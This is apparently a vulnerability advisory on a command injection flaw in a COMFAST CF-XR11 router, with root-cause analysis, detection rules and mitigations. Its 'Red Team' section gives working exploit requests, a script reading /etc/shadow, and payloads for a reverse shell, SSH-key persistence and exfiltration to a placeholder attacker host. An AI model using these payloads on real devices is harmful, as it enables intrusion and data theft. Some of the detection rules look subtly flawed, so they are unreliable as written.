CVE-2025-57293

Executive Summary

CVE-2025-57293 is a critical command injection vulnerability in the COMFAST CF-XR11 router (firmware V2.7.2). The flaw resides in the multi_pppoe API, processed by the sub_423930 function within /usr/bin/webmgnt. The phy_interface parameter is not sanitized before being passed to a system() call when the action parameter is set to one_click_redial. This allows an unauthenticated attacker to inject arbitrary operating system commands via a crafted POST request to /cgi-bin/mbox-config?method=SET&section=multi_pppoe. Successful exploitation can lead to unauthorized access to sensitive files, execution of arbitrary code, or full device compromise. No patch is currently available from the vendor.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded IoT device (router). The supply chain risk is limited to the device's firmware distribution and the lack of a vendor patch.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – The vulnerability is exploitable remotely over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required for exploitation.
• Privileges Required: None (PR:N) – No authentication is needed.
• User Interaction: None (UI:N) – The victim does not need to perform any action.
• Scope: Unchanged (S:U) – The vulnerable component and the impacted component are the same.
• Confidentiality Impact: High (C:H) – Full access to sensitive data on the device.
• Integrity Impact: High (I:H) – Arbitrary modification of system files or configuration.
• Availability Impact: High (A:H) – Potential for denial of service or complete device takeover.

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, making it a high-priority target for botnets and malicious actors.

Deep Dive & Mechanics

The vulnerability is a classic OS command injection flaw. The webmgnt binary handles HTTP requests to the /cgi-bin/mbox-config endpoint. When the section parameter is multi_pppoe and the method is SET, the sub_423930 function is invoked. This function processes the action parameter. If action is set to one_click_redial, the phy_interface parameter is directly concatenated into a command string that is executed via the system() call.

Root Cause: The phy_interface parameter is not sanitized or validated. An attacker can inject shell metacharacters (e.g., ;, |, &, $(), backticks) to break out of the intended command and execute arbitrary commands.

Attack Flow:

1. Attacker sends a POST request to /cgi-bin/mbox-config?method=SET&section=multi_pppoe.
2. The request body contains action=one_click_redial and a malicious phy_interface value.
3. The sub_423930 function constructs a command string like: system("some_command " + phy_interface).
4. The injected commands are executed with the privileges of the webmgnt process (typically root).

Example Payload:

POST /cgi-bin/mbox-config?method=SET&section=multi_pppoe HTTP/1.1
Host: 192.168.1.1
Content-Type: application/x-www-form-urlencoded

action=one_click_redial&phy_interface=eth0;id

This would execute the id command after the intended operation.

Vulnerable vs. Patched Code

Vulnerable Code (V2.7.2):

// Pseudocode of sub_423930 in /usr/bin/webmgnt
void sub_423930(char *phy_interface) {
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "pppoe_redial %s", phy_interface);
    system(cmd);
}

Patched Code (Hypothetical):

// Patched version with input sanitization
void sub_423930(char *phy_interface) {
    // Validate phy_interface against a whitelist of allowed interfaces
    if (!is_valid_interface(phy_interface)) {
        return; // or log error
    }
    char cmd[256];
    snprintf(cmd, sizeof(cmd), "pppoe_redial %s", phy_interface);
    system(cmd);
}

bool is_valid_interface(char *iface) {
    // Only allow alphanumeric characters and underscores
    for (int i = 0; iface[i] != '\0'; i++) {
        if (!isalnum(iface[i]) && iface[i] != '_') {
            return false;
        }
    }
    return true;
}

Key Difference: The patched code validates the phy_interface parameter against a strict whitelist, preventing injection of shell metacharacters.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A COMFAST CF-XR11 router with firmware V2.7.2.
• Network access to the router's web interface (typically on port 80 or 443).

Exploitation Steps:

1. Identify Target: Scan for COMFAST devices using Shodan or local network scanning.
2. Craft Payload: Use curl or a custom script to send the malicious POST request.

Example using curl:

curl -X POST "http://<router_ip>/cgi-bin/mbox-config?method=SET&section=multi_pppoe" \
  -d "action=one_click_redial&phy_interface=eth0;cat /etc/passwd"

Example using Python:

import requests

url = "http://192.168.1.1/cgi-bin/mbox-config?method=SET&section=multi_pppoe"
data = {
    "action": "one_click_redial",
    "phy_interface": "eth0;cat /etc/shadow"
}
response = requests.post(url, data=data)
print(response.text)

Advanced Payloads:

• Reverse Shell: phy_interface=eth0;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attacker_ip 4444 >/tmp/f
• Persistence: phy_interface=eth0;echo "attacker_ssh_key" >> /etc/dropbear/authorized_keys
• Data Exfiltration: phy_interface=eth0;curl http://attacker_ip/$(cat /etc/config/wireless | base64)

Blue Team

Detection & Response:

1. Monitor Web Logs: Look for POST requests to /cgi-bin/mbox-config with section=multi_pppoe and action=one_click_redial.
2. Analyze Network Traffic: Detect unusual outbound connections from the router (e.g., reverse shells, data exfiltration).
3. Check for Unauthorized Processes: Use ps or top on the router to identify unexpected processes.
4. Review System Logs: Check /var/log/messages or similar for suspicious command execution.

Honeypot Setup:

• Deploy a fake COMFAST CF-XR11 honeypot to capture attacker payloads.
• Use tools like honeypy or custom scripts to emulate the vulnerable endpoint.

Indicators of Compromise (IOCs)

Network IOCs:

• POST requests to /cgi-bin/mbox-config?method=SET&section=multi_pppoe with action=one_click_redial.
• Outbound connections from the router to unknown IP addresses on unusual ports (e.g., 4444, 1337).
• DNS queries to domains associated with known C2 infrastructure.

Host IOCs:

• Unexpected files in /tmp/ (e.g., /tmp/f for reverse shell FIFO).
• Modified system binaries or configuration files (e.g., /etc/dropbear/authorized_keys).
• New processes running as root with suspicious names (e.g., nc, bash).

File IOCs:

• /usr/bin/webmgnt – The vulnerable binary (hash: [SHA256 of V2.7.2 binary]).
• /etc/config/network – May be modified to include attacker-controlled PPPoE settings.

Detection Engineering

YARA Rule

rule CVE_2025_57293_COMFAST_CFXR11_Command_Injection {
    meta:
        description = "Detects exploitation attempts of CVE-2025-57293 in COMFAST CF-XR11"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-57293"
    strings:
        $s1 = "multi_pppoe" ascii wide nocase
        $s2 = "one_click_redial" ascii wide nocase
        $s3 = "phy_interface" ascii wide nocase
        $s4 = "mbox-config" ascii wide nocase
        $s5 = "system(" ascii wide nocase
    condition:
        all of ($s1, $s2, $s3, $s4) or ($s5 and any of ($s1, $s2, $s3, $s4))
}

Sigma Rule

title: CVE-2025-57293 COMFAST CF-XR11 Command Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP POST requests targeting the vulnerable multi_pppoe endpoint with command injection payloads.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 
            - 'method=SET'
            - 'section=multi_pppoe'
            - 'action=one_click_redial'
        cs-uri-query|contains|all:
            - 'phy_interface='
    condition: selection
falsepositives:
    - Legitimate administrative actions (unlikely due to injection characters)
level: critical

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-57293 COMFAST CF-XR11 Command Injection Attempt";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/cgi-bin/mbox-config";
    http_uri;
    content:"method=SET";
    http_uri;
    content:"section=multi_pppoe";
    http_uri;
    content:"action=one_click_redial";
    http_client_body;
    content:"phy_interface=";
    http_client_body;
    pcre:"/phy_interface=[^&]*[;&|`$()]/Pi";
    sid:10000001;
    rev:1;
    reference:cve,2025-57293;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Disable Remote Management: If not required, disable the web interface from the WAN side.
2. Restrict Access: Use firewall rules to limit access to the router's web interface to trusted IP addresses only.
3. Monitor Logs: Enable and review logs for suspicious activity.

Long-Term Fix:

• Vendor Patch: Await an official firmware update from COMFAST. Contact the vendor for a timeline.
• Custom Firmware: If available, consider flashing a third-party firmware (e.g., OpenWrt) that does not contain the vulnerable code.
• Input Validation: As a temporary workaround, if you have access to the firmware source, implement input sanitization for the phy_interface parameter.

Compensating Controls:

• Web Application Firewall (WAF): Deploy a WAF rule to block requests containing shell metacharacters in the phy_interface parameter.
• Network Segmentation: Place the router in a separate VLAN with limited access to critical systems.

Valters IT